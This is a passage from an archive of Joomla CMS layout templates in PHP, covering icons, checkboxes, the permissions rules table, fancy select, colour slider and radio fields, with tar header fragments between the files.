echo HTMLHelper::_('select.genericlist',
$transitions, '', $attribs);
?>
</div>
<?php endif; ?>
joomla/icon/iconclass.php000064400000003313151166615660011461
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2020 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\Utilities\ArrayHelper;
// Convert icomoon to fa
$icon = $displayData['icon'];
// Get fixed width icon or not
$iconFixed = $displayData['fixed'] ?? null;
// Set default prefix to be fontawesome
$iconPrefix = $displayData['prefix'] ?? 'icon-';
// Get other classNames if set, like icon-white, text-danger
$iconSuffix = $displayData['suffix'] ?? null;
// Get other attributes besides classNames
$tabindex = $displayData['tabindex'] ?? null;
$title = $displayData['title'] ?? null;
// Default output in <span>. ClassNames if set to false
$html = $displayData['html'] ?? true;
// Replace double set icon-icon-
// @todo: Joomla should be cleaned so this replacement is not needed.
$icon = str_replace('icon-icon-', 'icon-',
$icon);
switch ($icon) {
case (strpos($icon, 'icon-') !== false):
$iconPrefix = $displayData['prefix'] ?? null;
break;
default:
break;
}
if ($iconFixed) {
$iconFixed = 'icon-fw';
}
// Just render icon as className
$icon = trim(implode(' ', [$iconPrefix . $icon, $iconFixed,
$iconSuffix]));
// Convert icon to html output when HTML !== false
if ($html !== false) {
$iconAttribs = [
'class' => $icon,
'aria-hidden' => "true"
];
if ($tabindex) {
$iconAttribs['tabindex'] = $tabindex;
}
if ($title) {
$iconAttribs['title'] = $title;
}
$icon = '<span ' . ArrayHelper::toString($iconAttribs) .
'></span>';
}
echo $icon;
joomla/form/field/checkbox.php000064400000006344151166615660012376
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2019 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Form\Field\CheckboxField;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the
field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string|null $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var CheckboxField $field The form field object.
* @var string|null $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the
form field.
* @var string $validationtext The validation text of invalid
value of the form field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form
field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var boolean $checked Whether the checkbox should be
checked.
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attribute for
eg, data-*.
*/
// Initialize some field attributes.
$class = $class ? ' ' . $class : '';
$disabled = $disabled ? ' disabled' : '';
$required = $required ? ' required' : '';
$autofocus = $autofocus ? ' autofocus' : '';
$checked = $checked ? ' checked' : '';
// Initialize JavaScript field attributes.
$onclick = $onclick ? ' onclick="' . $onclick .
'"' : '';
$onchange = $onchange ? ' onchange="' . $onchange .
'"' : '';
?>
<div class="form-check form-check-inline">
<input
type="checkbox"
name="<?php echo $name; ?>"
id="<?php echo $id; ?>"
class="form-check-input<?php echo $class; ?>"
value="<?php echo htmlspecialchars($value, ENT_QUOTES,
'UTF-8'); ?>"
<?php echo $checked . $disabled . $onclick . $onchange .
$required . $autofocus . $dataAttribute; ?>
>
</div>
joomla/form/field/rules.php000064400000034123151166615660011736
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2018 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Access\Access;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Session\Session;
extract($displayData);
// Get some system objects.
$document = Factory::getDocument();
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var array $options Options available for this field.
* @var array $groups Available user groups.
* @var array $actions Actions for the asset.
* @var integer $assetId Access parameters.
* @var string $component The component.
* @var string $section The section.
* @var boolean $isGlobalConfig Current view is global config?
* @var boolean $newItem The new item.
* @var object $assetRules Rules for asset.
* @var integer $parentAssetId To calculate permissions.
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attributes for eg,
data-*.
*/
// Add Javascript for permission change
HTMLHelper::_('form.csrf');
Factory::getDocument()->getWebAssetManager()
->useStyle('webcomponent.field-permissions')
->useScript('webcomponent.field-permissions')
->useStyle('webcomponent.joomla-tab')
->useScript('webcomponent.joomla-tab');
// Load JavaScript message titles
Text::script('ERROR');
Text::script('WARNING');
Text::script('NOTICE');
Text::script('MESSAGE');
// Add strings for JavaScript error translations.
Text::script('JLIB_JS_AJAX_ERROR_CONNECTION_ABORT');
Text::script('JLIB_JS_AJAX_ERROR_NO_CONTENT');
Text::script('JLIB_JS_AJAX_ERROR_OTHER');
Text::script('JLIB_JS_AJAX_ERROR_PARSE');
Text::script('JLIB_JS_AJAX_ERROR_TIMEOUT');
// Ajax request data.
$ajaxUri =
Route::_('index.php?option=com_config&task=application.store&format=json&'
. Session::getFormToken() . '=1');
?>
<?php // Description ?>
<details>
<summary class="rule-notes">
<?php echo Text::_('JLIB_RULES_SETTINGS_DESC'); ?>
</summary>
<div class="rule-notes">
<?php
if ($section === 'component' || !$section) {
echo Text::alt('JLIB_RULES_SETTING_NOTES', $component);
} else {
echo Text::alt('JLIB_RULES_SETTING_NOTES_ITEM',
$component . '_' . $section);
}
?>
</div>
</details>
<?php // Begin tabs ?>
<joomla-field-permissions class="row mb-2"
data-uri="<?php echo $ajaxUri; ?>" <?php echo
$dataAttribute; ?>>
<joomla-tab orientation="vertical"
id="permissions-sliders" recall breakpoint="728">
<?php // Initial Active Pane ?>
<?php foreach ($groups as $group) : ?>
<?php $active = (int) $group->value === 1 ? '
active' : ''; ?>
<joomla-tab-element class="tab-pane" <?php echo
$active; ?> name="<?php echo
htmlentities(LayoutHelper::render('joomla.html.treeprefix',
['level' => $group->level + 1]), ENT_COMPAT,
'utf-8') . $group->text; ?>"
id="permission-<?php echo $group->value; ?>">
<table class="table respTable">
<thead>
<tr>
<th class="actions w-30"
id="actions-th<?php echo $group->value; ?>">
<span
class="acl-action"><?php echo
Text::_('JLIB_RULES_ACTION'); ?></span>
</th>
<th class="settings w-40"
id="settings-th<?php echo $group->value; ?>">
<span
class="acl-action"><?php echo
Text::_('JLIB_RULES_SELECT_SETTING'); ?></span>
</th>
<th class="w-30"
id="aclaction-th<?php echo $group->value; ?>">
<span
class="acl-action"><?php echo
Text::_('JLIB_RULES_CALCULATED_SETTING'); ?></span>
</th>
</tr>
</thead>
<tbody>
<?php // Check if this group has super user
permissions ?>
<?php $isSuperUserGroup =
Access::checkGroup($group->value, 'core.admin'); ?>
<?php foreach ($actions as $action) : ?>
<tr>
<td class="oddCol"
data-label="<?php echo Text::_('JLIB_RULES_ACTION');
?>" headers="actions-th<?php echo $group->value;
?>">
<label for="<?php echo $id;
?>_<?php echo $action->name; ?>_<?php echo $group->value;
?>">
<?php echo
Text::_($action->title); ?>
</label>
<?php if
(!empty($action->description)) : ?>
<div role="tooltip"
id="tip-<?php echo $id; ?>">
<?php echo
htmlspecialchars(Text::_($action->description)); ?>
</div>
<?php endif; ?>
</td>
<td data-label="<?php echo
Text::_('JLIB_RULES_SELECT_SETTING'); ?>"
headers="settings-th<?php echo $group->value; ?>">
<div class="d-flex
align-items-center">
<select
data-onchange-task="permissions.apply"
class="form-select
novalidate"
name="<?php echo
$name; ?>[<?php echo $action->name; ?>][<?php echo
$group->value; ?>]"
id="<?php echo $id;
?>_<?php echo $action->name; ?>_<?php echo $group->value;
?>" >
<?php
/**
* Possible values:
* null = not set means
inherited
* false = denied
* true = allowed
*/
// Get the actual setting for
the action for this group. ?>
<?php $assetRule = $newItem
=== false ? $assetRules->allow($action->name, $group->value) :
null;?>
<?php // Build the dropdowns
for the permissions sliders
// The parent group has
"Not Set", all children can rightly "Inherit" from
that.?>
<option value=""
<?php echo ($assetRule === null ? '
selected="selected"' : ''); ?>>
<?php echo
Text::_(empty($group->parent_id) && $isGlobalConfig ?
'JLIB_RULES_NOT_SET' : 'JLIB_RULES_INHERITED');
?></option>
<option value="1"
<?php echo ($assetRule === true ? '
selected="selected"' : ''); ?>>
<?php echo
Text::_('JLIB_RULES_ALLOWED'); ?></option>
<option value="0"
<?php echo ($assetRule === false ? '
selected="selected"' : ''); ?>>
<?php echo
Text::_('JLIB_RULES_DENIED'); ?></option>
</select> 
<span id="icon_<?php
echo $id; ?>_<?php echo $action->name; ?>_<?php echo
$group->value; ?>"></span>
</div>
</td>
<td data-label="<?php echo
Text::_('JLIB_RULES_CALCULATED_SETTING'); ?>"
headers="aclaction-th<?php echo $group->value; ?>">
<?php $result = []; ?>
<?php // Get the group, group parent
id, and group global config recursive calculated permission for the chosen
action. ?>
<?php $inheritedGroupRule =
Access::checkGroup((int) $group->value, $action->name, $assetId);
$inheritedGroupParentAssetRule =
!empty($parentAssetId) ? Access::checkGroup($group->value,
$action->name, $parentAssetId) : null;
$inheritedParentGroupRule =
!empty($group->parent_id) ? Access::checkGroup($group->parent_id,
$action->name, $assetId) : null;
// Current group is a Super User group,
so calculated setting is "Allowed (Super User)".
if ($isSuperUserGroup) {
$result['class'] =
'badge bg-success';
$result['text'] =
'<span class="icon-lock icon-white"
aria-hidden="true"></span>' .
Text::_('JLIB_RULES_ALLOWED_ADMIN');
} else {
// First get the real recursive
calculated setting and add (Inherited) to it.
// If recursive calculated setting
is "Denied" or null. Calculated permission is "Not Allowed
(Inherited)".
if ($inheritedGroupRule === null ||
$inheritedGroupRule === false) {
$result['class'] =
'badge bg-danger';
$result['text'] =
Text::_('JLIB_RULES_NOT_ALLOWED_INHERITED');
} else {
// If recursive calculated
setting is "Allowed". Calculated permission is "Allowed
(Inherited)".
$result['class'] =
'badge bg-success';
$result['text'] =
Text::_('JLIB_RULES_ALLOWED_INHERITED');
}
// Second part: Overwrite the
calculated permissions labels if there is an explicit permission in the
current group.
/**
* @todo: incorrect info
* If a component has a permission
that doesn't exists in global config (ex: frontend editing in
com_modules) by default
* we get "Not Allowed
(Inherited)" when we should get "Not Allowed (Default)".
*/
// If there is an explicit
permission "Not Allowed". Calculated permission is "Not
Allowed".
if ($assetRule === false) {
$result['class'] =
'badge bg-danger';
$result['text'] =
Text::_('JLIB_RULES_NOT_ALLOWED');
} elseif ($assetRule === true) {
// If there is an explicit
permission is "Allowed". Calculated permission is
"Allowed".
$result['class'] =
'badge bg-success';
$result['text'] =
Text::_('JLIB_RULES_ALLOWED');
}
// Third part: Overwrite the
calculated permissions labels for special cases.
// Global configuration with
"Not Set" permission. Calculated permission is "Not Allowed
(Default)".
if (empty($group->parent_id)
&& $isGlobalConfig === true && $assetRule === null) {
$result['class'] =
'badge bg-danger';
$result['text'] =
Text::_('JLIB_RULES_NOT_ALLOWED_DEFAULT');
} elseif
($inheritedGroupParentAssetRule === false || $inheritedParentGroupRule ===
false) {
/**
* Component/Item with explicit
"Denied" permission at parent Asset (Category, Component or
Global config) configuration.
* Or some parent group has an
explicit "Denied".
* Calculated permission is
"Not Allowed (Locked)".
*/
$result['class'] =
'badge bg-danger';
$result['text'] =
'<span class="icon-lock icon-white"
aria-hidden="true"></span>' .
Text::_('JLIB_RULES_NOT_ALLOWED_LOCKED');
}
}
?>
<output><span
class="<?php echo $result['class'];
?>"><?php echo $result['text'];
?></span></output>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</joomla-tab-element>
<?php endforeach; ?>
</joomla-tab>
</joomla-field-permissions>
joomla/form/field/list-fancy-select.php000064400000010041151166615660014123
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2018 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $options Options available for this field.
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attribute for eg,
data-*
*/
$html = [];
$attr = '';
// Initialize the field attributes.
$attr .= !empty($size) ? ' size="' . $size .
'"' : '';
$attr .= $multiple ? ' multiple' : '';
$attr .= $autofocus ? ' autofocus' : '';
$attr .= $onchange ? ' onchange="' . $onchange .
'"' : '';
$attr .= $dataAttribute;
// To avoid user's confusion, readonly="readonly" should
imply disabled="disabled".
if ($readonly || $disabled) {
$attr .= ' disabled="disabled"';
}
$attr2 = '';
$attr2 .= !empty($class) ? ' class="' . $class .
'"' : '';
$attr2 .= ' placeholder="' . $this->escape($hint ?:
Text::_('JGLOBAL_TYPE_OR_SELECT_SOME_OPTIONS')) . '"
';
if ($required) {
$attr .= ' required class="required"';
$attr2 .= ' required';
}
// Create a read-only list (no name) with hidden input(s) to store the
value(s).
if ($readonly) {
$html[] = HTMLHelper::_('select.genericlist', $options,
'', trim($attr), 'value', 'text', $value,
$id);
// E.g. form field type tag sends $this->value as array
if ($multiple && is_array($value)) {
if (!count($value)) {
$value[] = '';
}
foreach ($value as $val) {
$html[] = '<input type="hidden"
name="' . $name . '" value="' .
htmlspecialchars($val, ENT_COMPAT, 'UTF-8') .
'">';
}
} else {
$html[] = '<input type="hidden" id="' .
$id . '-value" name="' . $name . '"
value="' . htmlspecialchars($value, ENT_COMPAT,
'UTF-8') . '">';
}
} else // Create a regular list.
{
$html[] = HTMLHelper::_('select.genericlist', $options,
$name, trim($attr), 'value', 'text', $value, $id);
}
Text::script('JGLOBAL_SELECT_NO_RESULTS_MATCH');
Text::script('JGLOBAL_SELECT_PRESS_TO_SELECT');
Factory::getApplication()->getDocument()->getWebAssetManager()
->usePreset('choicesjs')
->useScript('webcomponent.field-fancy-select');
?>
<joomla-field-fancy-select <?php echo $attr2; ?>><?php echo
implode($html); ?></joomla-field-fancy-select>
joomla/form/field/color/slider.php000064400000013726151166615660013212
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2019 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
/**
* @var array $displayData Data for this field collected by ColorField
*/
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input
* @var boolean $disabled Is this field disabled?
* @var string $display Which kind of slider should be displayed?
* @var string $default Default value for this field
* @var string $format Format of color value
* @var string $hint Text for inputs placeholder
* @var string $id ID of field and label
* @var string $name Name of the input field
* @var string $onchange Onchange attribute for the field
* @var string $onclick Onclick attribute for the field
* @var string $position Position of input
* @var boolean $preview Should the selected value be displayed
separately?
* @var boolean $readonly Is this field read only?
* @var boolean $required Is this field required?
* @var string $saveFormat Format to save the color
* @var integer $size Size attribute of the input
* @var string $validate Validation rules to apply.
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attributes for eg,
data-*.
*/
if ($color === 'none' || is_null($color)) {
$color = '';
}
$alpha = $format === 'hsla' || $format ===
'rgba' || $format === 'alpha';
$autocomplete = !empty($autocomplete) ? 'autocomplete="' .
$autocomplete . '"' : '';
$autofocus = $autofocus ? ' autofocus' : '';
$color = ' data-color="' . $color .
'"';
$class = $class ? ' class="' . $class .
'"' : '';
$default = $default ? ' data-default="' . $default .
'"' : '';
$disabled = $disabled ? ' disabled' : '';
$format = $format ? ' data-format="' . $format .
'"' : '';
$hint = strlen($hint) ? ' placeholder="' .
$this->escape($hint) . '"' : '';
$onchange = $onchange ? ' onchange="' . $onchange .
'"' : '';
$onclick = $onclick ? ' onclick="' . $onclick .
'"' : '';
$preview = $preview ? ' data-preview="' . $preview .
'"' : '';
$readonly = $readonly ? ' readonly' : '';
$saveFormat = $saveFormat ? ' data-format="' . $saveFormat
. '"' : '';
$size = $size ? ' size="' . $size .
'"' : '';
$validate = $validate ? ' data-validate="' . $validate .
'"' : '';
$displayValues = explode(',', $display);
$allSliders = $display === 'full' || empty($display);
/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = Factory::getApplication()->getDocument()->getWebAssetManager();
$wa->useScript('field.color-slider');
Text::script('JFIELD_COLOR_ERROR_CONVERT_HSL');
Text::script('JFIELD_COLOR_ERROR_CONVERT_HUE');
Text::script('JFIELD_COLOR_ERROR_NO_COLOUR');
Text::script('JFIELD_COLOR_ERROR_WRONG_FORMAT');
?>
<div class="color-slider-wrapper"
<?php echo
$class,
$color,
$default,
$preview,
$size,
$dataAttribute;
?>
>
<!-- The data to save at the end (label created in form by Joomla)
-->
<input type="text" class="form-control
color-input" id="<?php echo $id; ?>"
name="<?php echo $name; ?>"
<?php echo
$disabled,
$readonly,
$required,
$saveFormat,
$validate;
?>
>
<!-- Shows value which is allowed to manipulate like 'hue'
-->
<label for="slider-input"
class="visually-hidden"><?php echo
Text::_('JFIELD_COLOR_LABEL_SLIDER_INPUT'); ?></label>
<input type="text" class="form-control"
id="slider-input"
<?php echo
$autocomplete,
$disabled,
$hint,
$onchange,
$onclick,
$position,
$readonly,
$required,
$format,
$validate;
?>
>
<span class="form-control-feedback"></span>
<?php if ($allSliders || in_array('hue', $displayValues))
: ?>
<label for="hue-slider"
class="visually-hidden"><?php echo
Text::_('JFIELD_COLOR_LABEL_SLIDER_HUE'); ?></label>
<input type="range" min="0"
max="360" class="form-control color-slider"
id="hue-slider" data-type="hue"
<?php echo
$autofocus,
$disabled
?>
>
<?php endif ?>
<?php if ($allSliders || in_array('saturation',
$displayValues)) : ?>
<label for="saturation-slider"
class="visually-hidden"><?php echo
Text::_('JFIELD_COLOR_LABEL_SLIDER_SATURATION');
?></label>
<input type="range" min="0"
max="100" class="form-control color-slider"
id="saturation-slider" data-type="saturation"
<?php echo
$autofocus,
$disabled
?>
>
<?php endif ?>
<?php if ($allSliders || in_array('light',
$displayValues)) : ?>
<label for="light-slider"
class="visually-hidden"><?php echo
Text::_('JFIELD_COLOR_LABEL_SLIDER_LIGHT'); ?></label>
<input type="range" min="0"
max="100" class="form-control color-slider"
id="light-slider" data-type="light"
<?php echo
$autofocus,
$disabled
?>
>
<?php endif ?>
<?php if ($alpha && ($allSliders ||
in_array('alpha', $displayValues))) : ?>
<label for="alpha-slider"
class="visually-hidden"><?php echo
Text::_('JFIELD_COLOR_LABEL_SLIDER_ALPHA'); ?></label>
<input type="range" min="0"
max="100" class="form-control color-slider"
id="alpha-slider" data-type="alpha"
<?php echo
$autofocus,
$disabled
?>
>
<?php endif ?>
</div>
joomla/form/field/radio/buttons.php000064400000012654151166615660013405
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2018 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $options Options available for this field.
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attributes for eg,
data-*.
*/
$alt = preg_replace('/[^a-zA-Z0-9_\-]/', '_',
$name);
$isBtnGroup = strpos(trim($class), 'btn-group') !== false;
$isBtnYesNo = strpos(trim($class), 'btn-group-yesno') !== false;
$classToggle = $isBtnGroup ? 'btn-check' :
'form-check-input';
$btnClass = $isBtnGroup ? 'btn btn-outline-secondary' :
'form-check-label';
$blockStart = $isBtnGroup ? '' : '<div
class="form-check">';
$blockEnd = $isBtnGroup ? '' : '</div>';
// Add the attributes of the fieldset in an array
$containerClass = trim($class . ' radio' . ($readonly ||
$disabled ? ' disabled' : '') . ($readonly ? '
readonly' : ''));
$attribs = ['id="' . $id . '"'];
if (!empty($disabled)) {
$attribs[] = 'disabled';
}
if (!empty($autofocus)) {
$attribs[] = 'autofocus';
}
if ($required) {
$attribs[] = 'class="required radio"';
}
if ($readonly || $disabled) {
$attribs[] = 'style="pointer-events: none"';
}
if ($dataAttribute) {
$attribs[] = $dataAttribute;
}
?>
<fieldset <?php echo implode(' ', $attribs); ?>>
<legend class="visually-hidden">
<?php echo $label; ?>
</legend>
<div class="<?php echo $containerClass; ?>">
<?php foreach ($options as $i => $option) : ?>
<?php echo $blockStart; ?>
<?php
$disabled = !empty($option->disable) ?
'disabled' : '';
$style = $disabled ? ' style="pointer-events:
none"' : '';
// Initialize some option attributes.
if ($isBtnYesNo) {
// Set the button classes for the yes/no group
switch ($option->value) {
case '0':
$btnClass = 'btn btn-outline-danger';
break;
case '1':
$btnClass = 'btn
btn-outline-success';
break;
default:
$btnClass = 'btn
btn-outline-secondary';
break;
}
}
$optionClass = !empty($option->class) ?
$option->class : $btnClass;
$optionClass = trim($optionClass . ' ' .
$disabled);
$checked = ((string) $option->value === $value) ?
'checked="checked"' : '';
// Initialize some JavaScript option attributes.
$onclick = !empty($option->onclick) ?
'onclick="' . $option->onclick . '"' :
'';
$onchange = !empty($option->onchange) ?
'onchange="' . $option->onchange . '"' :
'';
$oid = $id . $i;
$ovalue = htmlspecialchars($option->value,
ENT_COMPAT, 'UTF-8');
$attributes = array_filter([$checked, $disabled,
ltrim($style), $onchange, $onclick]);
?>
<?php if ($required) : ?>
<?php $attributes[] = 'required'; ?>
<?php endif; ?>
<input class="<?php echo $classToggle;
?>" type="radio" id="<?php echo $oid; ?>"
name="<?php echo $name; ?>" value="<?php echo
$ovalue; ?>" <?php echo implode(' ', $attributes);
?>>
<label for="<?php echo $oid; ?>"
class="<?php echo trim($optionClass); ?>"<?php echo
$style; ?>>
<?php echo $option->text; ?>
</label>
<?php echo $blockEnd; ?>
<?php endforeach; ?>
</div>
</fieldset>
joomla/form/field/radiobasic.php000064400000010110151166615720012667
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $options Options available for this field.
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attribute for eg,
data-*.
*/
/**
* The format of the input tag to be filled in using sprintf.
* %1 - id
* %2 - name
* %3 - value
* %4 = any other attributes
*/
$format = '<input type="radio" id="%1$s"
name="%2$s" value="%3$s" %4$s>';
$alt = preg_replace('/[^a-zA-Z0-9_\-]/', '_',
$name);
?>
<fieldset id="<?php echo $id; ?>" class="<?php
echo trim($class . ' radio'); ?>"
<?php echo $disabled ? 'disabled' : ''; ?>
<?php echo $required ? 'required' : ''; ?>
<?php echo $autofocus ? 'autofocus' : ''; ?>
<?php echo $dataAttribute; ?>>
<?php if (!empty($options)) : ?>
<?php foreach ($options as $i => $option) : ?>
<?php
// Initialize some option attributes.
$checked = ((string) $option->value === $value) ?
'checked="checked"' : '';
$optionClass = !empty($option->class) ?
'class="' . $option->class . '"' :
'';
$disabled = !empty($option->disable) || ($disabled
&& !$checked) ? 'disabled' : '';
// Initialize some JavaScript option attributes.
$onclick = !empty($option->onclick) ?
'onclick="' . $option->onclick . '"' :
'';
$onchange = !empty($option->onchange) ?
'onchange="' . $option->onchange . '"' :
'';
$oid = $id . $i;
$ovalue = htmlspecialchars($option->value,
ENT_COMPAT, 'UTF-8');
$attributes = array_filter([$checked, $optionClass,
$disabled, $onchange, $onclick]);
?>
<?php if ($required) : ?>
<?php $attributes[] = 'required'; ?>
<?php endif; ?>
<div class="radio mb-0">
<label for="<?php echo $oid; ?>"
<?php echo $optionClass; ?>>
<?php echo sprintf($format, $oid, $name, $ovalue,
implode(' ', $attributes)); ?>
<?php echo Text::alt($option->text, $alt); ?>
</label>
</div>
<?php endforeach; ?>
<?php endif; ?>
</fieldset>
joomla/form/field/groupedlist.php000064400000007620151166615720013144
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2021 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $groups Groups of options available for this
field.
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attribute for eg,
data-*
*/
$html = [];
$attr = '';
// Initialize some field attributes.
$attr .= !empty($class) ? ' class="form-select ' . $class .
'"' : ' class="form-select"';
$attr .= !empty($size) ? ' size="' . $size .
'"' : '';
$attr .= $multiple ? ' multiple' : '';
$attr .= $required ? ' required' : '';
$attr .= $autofocus ? ' autofocus' : '';
$attr .= $dataAttribute;
